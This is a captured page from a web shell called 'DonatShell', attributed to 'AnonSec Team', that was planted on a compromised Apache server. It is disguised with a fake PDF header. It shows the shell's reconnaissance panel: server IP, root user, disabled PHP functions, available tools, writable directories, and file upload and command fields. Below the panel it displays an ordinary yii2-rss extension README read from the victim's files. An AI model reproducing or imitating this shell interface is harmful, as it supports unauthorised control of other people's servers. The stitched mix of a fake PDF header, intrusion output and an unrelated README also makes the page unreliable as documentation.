%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.149
Web Server : Apache/2.4.18 (Ubuntu)
System :
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,mail,shell_exec,system,proc_open,popen,ini_alter,dl,proc_close,curl_exec,curl_multi_exec,readfile,parse_ini_file,escapeshellarg,escapeshellcmd,show_source,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,mail,php_uname,phpinfo
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/egp/vendor/yurkinx/yii2-rss/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/html/egp/vendor/yurkinx/yii2-rss/README.md
yii2-rss
=========

Yii2 Framework extension to provide functionality for consuming RSS and Atom feeds using zend-feed library.

Installation
------------
```code
{
	"require": 
	{
  		"yurkinx/yii2-rss": "dev-master"
	}
}
```
Configuration
-------------
In config file
```code
/config/web.php
```
Add feed component
```code
'components' => array(
        ...
        'feed' => array(
        	 	'class' => 'yii\feed\FeedDriver',
        		),
		    )
```
Simple usage
-----

__Read Rss feed:__
```php
$feed=Yii::$app->feed->reader()->import('http://exapmple.com/feed.rss');
```
This will get RSS feed, parse it and return feed object.
For more details you can read the official Zend-feed extention documentaion:
http://framework.zend.com/manual/2.2/en/modules/zend.feed.reader.html

__Create Rss feed:__

Create action Rss in controller
```php
public function actionRss(){
		
     $feed=Yii::$app->feed->writer();
		
    $feed->setTitle(Yii::$app->params['title']);
		$feed->setLink('http://example.com');
		$feed->setFeedLink('http://example.com/rss', 'rss');
		$feed->setDescription(Yii::t('app','Recent headlines'));
		$feed->setGenerator('http://example.com/rss');
		$feed->setDateModified(time()); 
		/**
		* Add one or more entries. Note that entries must
		* be manually added once created.
		*/
		$posts=Post::find()->orderBy('id DESC')->limit(20)->all();
		foreach($posts as $post){
				$entry = $feed->createEntry();
				$entry->setTitle($post->title);
				$entry->setLink(Yii::$app->urlManager->createAbsoluteUrl('/post/view',['id'=>$post->id]));
				$entry->setDateModified(intval($post->created));
				$entry->setDateCreated(intval($post->created));
				$entry->setContent(
				   $post->content
				);
				$entry->setEnclosure(
					[
					 'uri'=>$post->image,
					 'type'=>'image/jpeg',
					 'length'=>filesize(Yii::getAlias('@webroot').$post->image)
					 ]
				);
				$feed->addEntry($entry);
		}
		/**
		* Render the resulting feed to Atom 1.0 and assign to $out.
		* You can substitute "atom" with "rss" to generate an RSS 2.0 feed.
		*/
		$out = $feed->export('rss');
		header('Content-type: text/xml');
		echo $out;
		die();
	}
```
Then it's better to cache it with cache component:
```php
public function behaviors() {
		return [
			....
			'cache'=> [
				'only'=>['rss'],
				'class'=>PageCache::className(),
				'duration'=>0,
				'dependency'=>[
					       'class' => 'yii\caching\DbDependency',
					       'sql' => 'SELECT max(time_updated) as max FROM tbl_post',
					       
					      ],
			]
		];
	}
```
Take a look at Zend-feed writer official documentaion for more advanced usage of Zend-feed
http://framework.zend.com/manual/2.2/en/modules/zend.feed.writer.html

Anon7 - 2022
AnonSec Team